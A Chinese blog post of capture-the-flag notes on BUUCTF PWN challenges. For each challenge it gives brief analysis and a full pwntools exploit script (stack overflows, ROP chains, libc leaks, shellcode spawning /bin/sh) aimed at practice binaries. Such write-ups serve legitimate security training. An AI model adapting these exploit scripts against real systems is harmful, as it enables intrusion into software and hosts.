Buuctf 刷题笔记(PWN)(1)
Buuctf 刷题笔记(PWN)(1)
pwn1_sctf_2016
1、先使用checksec检查安全选项、再用IDA进行反编译
找到get_flag() 那么这道题可能就是ret2text类型了,直接利用栈溢出到返回地址进行覆盖,进而执行get_flag()就可以了
vuln()函数将我们的输入字符串,对I进行转换,将一个I转换成了you
根据fgets可以知道输入值最长为32长度,而&s地址到返回地址的距离应该是3C+4 所以需要利用I->you的这个特性
fgets(&s, 32, edata);
所以构造的payload应该如下:
'I'*20+'b'*4+get_flag_add
EXP
from pwn import *
context.arch='i386'
context.log_level="debug"
p=process("./pwn1_sctf_2016")
#p=remote("node4.buuoj.cn",26033)
payload='I'*20+'b'*4
get_flag=0x8048f0d
payload+=p32(get_flag)
print(payload)
p.sendline(payload)
p.interactive()
ez_pz_hackover_2016
strcmp函数在百度百科里的解释:
两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇’\0’为止
EBP: 0xffffc878 --> 0x8001b
ESP: 0xffffc840 --> 0x1
Found 5 results, display max 5 items:
ez_pz_hackover_2016 : 0x8048853 ("crashme")
ez_pz_hackover_2016 : 0x8049853 ("crashme")
[heap] : 0x804b008 ("crashme\n")
[stack] : 0xffffa359 ("crashme!\n: 0xffffc89c\n")
[stack] : 0xffffc862 ("crashme")
可以算出crashme到EBP的偏移距离为0xffffc878 -0xffffc862+4=22+4=26
exp:
from pwn import *
context.log_level="debug"
p=remote("node4.buuoj.cn",29010)
p.recvuntil("crash: ")
stack_addr=int(p.recv(10),16)
p.recvuntil(">")
payload="crashme\x00"
payload=payload.ljust(26,'\x00')
payload+=p32(stack_addr-0x1c)
payload+=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
jarvisoj_tell_me_something
本题main函数 并没有执行level指令 而是直接进行了retn操作
exp
from pwn import *
context.log_level="debug"
#p=process("./guestbook")
p=remote("node4.buuoj.cn",28736)
godgame_addr=0x400620
payload='a'*0x88+p64(godgame_addr)
p.recv()
p.send(payload)
p.recv()
picoctf_2018_rop chain
32位的程序 NX保护开启了
[*] '/home/pwn/picoCTF_2018/picoCTF_2018_rop_chain'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
自带的有flag函数 &s到返回地址的偏移距离是0x18+0x04=0x1c
32位的函数调用如图
这里需要满足的是win_function1和win_function2的条件才能正确的输出flag
exp
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386", log_level= "debug")
flag_addr=0x804862b
win_1=0x80485cb
win_2=0x80485d8
payload='a'*0x1c+p32(flag_addr)
#p=process("./picoCTF_2018_rop_chain")
#p=remote("node4.buuoj.cn",27289)
p=remote("127.0.0.1",4000)
p.recvuntil("Enter your input>")
payload2='a'*0x1c
payload2+=p32(win_1)+p32(win_2)+p32(flag_addr)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
p.send(payload2)
p.recv()
p.interactive()
jarvisoj_level4(DynELF的使用)
这道题直接可以进行溢出覆盖返回地址,但程序里没有system和/bin/sh字符串 所以需要得到libc里的system地址和/bin/sh的地址
这里就出现了两种方法,一种是使用libcsearcher的和DynELF模块的 但是发现EynELF的并不能拿到权限,exp如下:
libcsearcher EXP
from pwn import *
from LibcSearcher import *
#context(os = "linux", arch = "i386", log_level= "debug")
#p=process("./level4")
p=remote("node4.buuoj.cn",29075)
elf=ELF("./level4")
write_plt=elf.plt['write']
read_plt=elf.plt['read']
read_got=elf.got['read']
vuln_fun_add=0x804844B
bss_addr=0x804A024
payload='a'*0x88+'b'*0x04+p32(write_plt)+p32(vuln_fun_add)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read_addr=u32(p.recv(4))
libc=LibcSearcher("read",read_addr)
libc_base=read_addr-libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
log.info("system:"+hex(system_addr))
log.info("binsh_addr:"+hex(binsh_addr))
payload_system='a'*0x88+'b'*0x04+p32(system_addr)+p32(vuln_fun_add)+p32(binsh_addr)
p.sendline(payload_system)
p.interactive()
#payload_read='a'*0x88+'b'*0x04+p32(read_plt)+p32(vuln_fun_add)+p32(1)+p32(bss_addr)+p32(8)
#p.sendline(payload_read)
#p.sendline("/bin/sh")
#payload_system='a'*0x88+'b'*0x04+p32(system_addr)+p32(vuln_fun_add)+p32(bss_addr)
#p.sendline(payload_system)
#p.interactive()
DynELF的EXP
from pwn import *
#io=remote("pwn2.jarvisoj.com",9880)
io=remote("node4.buuoj.cn",29075)
#io=process("./level4")
elf=ELF("./level4")
vulner_function_address=0x804844B
write_plt=elf.plt["write"]
read_plt=elf.plt["read"]
bss_addr=0x0804a024
def leak(address):
payload="a"*0x88+"aaaa"+p32(write_plt)+p32(vulner_function_address)+p32(1)+p32(address)+p32(4)
io.sendline(payload)
leak_sysaddr=io.recv(4)
return leak_sysaddr
d = DynELF(leak, elf=ELF("./level4"))
sys_addr=d.lookup("system","libc")
payload1="a"*0x88+"aaaa"+p32(read_plt)+p32(vulner_function_address)+p32(1)+p32(bss_addr)+p32(8)
io.sendline(payload1)
io.sendline("/bin/sh")
payload2="a"*0x88+"aaaa"+p32(sys_addr)+p32(vulner_function_address)+p32(bss_addr)
io.sendline(payload2)
io.sendline("ls")
io.recv()
#io.interactive()
jarvisoj_level3_x64
这道题和jarvisoj_level4区别不大 只是是64位的程序,所以利用起来和32位的方式不一样
x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中 所以需要使用ROPgadget 找到控制寄存器的gadget即可
exp
from pwn import *
from LibcSearcher import *
context(os = "linux",log_level= "debug")
#p=process("./level3_x64")
p=remote("node4.buuoj.cn",25994)
elf=ELF("./level3_x64")
write_plt=elf.plt["write"]
write_got=elf.got["write"]
vulnerable_function=0x4005e6
main_addr=0x40061a
rdi_addr=0x4006b3
rsi_r15_addr=0x4006b1
payload='a'*0x88+p64(rdi_addr)+p64(1)+p64(rsi_r15_addr)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
log.info(hex(write_addr))
libc=LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.info("libc_base:"+hex(libc_base))
log.info("sys_addr:"+hex(sys_addr))
log.info("bin_sh_addr:"+hex(bin_sh_addr))
payload_system='a'*0x88+p64(rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)
p.sendline(payload_system)
p.interactive()
cmcc_simplerop (int 80 系统调用)
32位的程序,只开启了NX保护(也就无法注入shellcode了)
找到危险函数read 可以进行溢出
IDA中显示到Ret的偏移是1c但使用gdb进行调试发现 是0x20 然后 在文件中找到了 int 0x80 所以解决这道题 可以使用系统调用
先通过溢出构造一个read读取shellcode 然后再使用 int 0x80 进行系统调用即可
当然 为了构造exp 需要先找到需要使用的 int 0x80 ,eax,ebx,ecx,edx 的gadget和read_addr的地址以及bss可存储段的地址
如下:
i80_addr=0x080493e1
pop_eax=0x080bae06
pop_edx_ecx_ebx=0x0806e850
read_addr=0x0806CD50
sh_addr=0x080EB584
exp
from pwn import *
context.log_level="debug"
#p=process("./simplerop")
p=remote("node4.buuoj.cn",27806)
i80_addr=0x080493e1
pop_eax=0x080bae06
pop_edx_ecx_ebx=0x0806e850
read_addr=0x0806CD50
sh_addr=0x080EB584
payload='a'*0x20+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(sh_addr)+p32(0x8)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(sh_addr)+p32(i80_addr)
p.sendlineafter("Your input :",payload);
p.send('/bin/sh\x00')
p.interactive();
wustctf2020_getshell_2(system+字符串sh)
这道题比较简单 主要是细心些 需要找到门缝边缘的sh
然后调用offset+call_system+sh_addr即可
exp
from pwn import *
#context.log_level="debug"
context(os = "linux", arch = "i386", log_level= "debug")
#p=process("./wustctf2020_getshell_2")
p=remote("node4.buuoj.cn",27505)
system_addr=0x08048529
sh_addr=0x08048670
payload='a'*0x1c+p32(system_addr)+p32(sh_addr)
p.recvuntil("\ \n")
p.sendline(payload)
p.interactive()
wustctf2020_getshell(easy!)
32位 system(sh)
exp
from pwn import *
#p=process("./wustctf2020_getshell")
p=remote("node4.buuoj.cn",28698)
payload='a'*0x1c+p32(0x0804851b)
p.sendline(payload)
p.interactive()
picoctf_2018_buffer overflow 1
exp
from pwn import *
p = remote("node4.buuoj.cn",28819)
payload = 'a' * (0x28 + 4) + p32(0x080485CB)
p.sendline(payload)
p.interactive()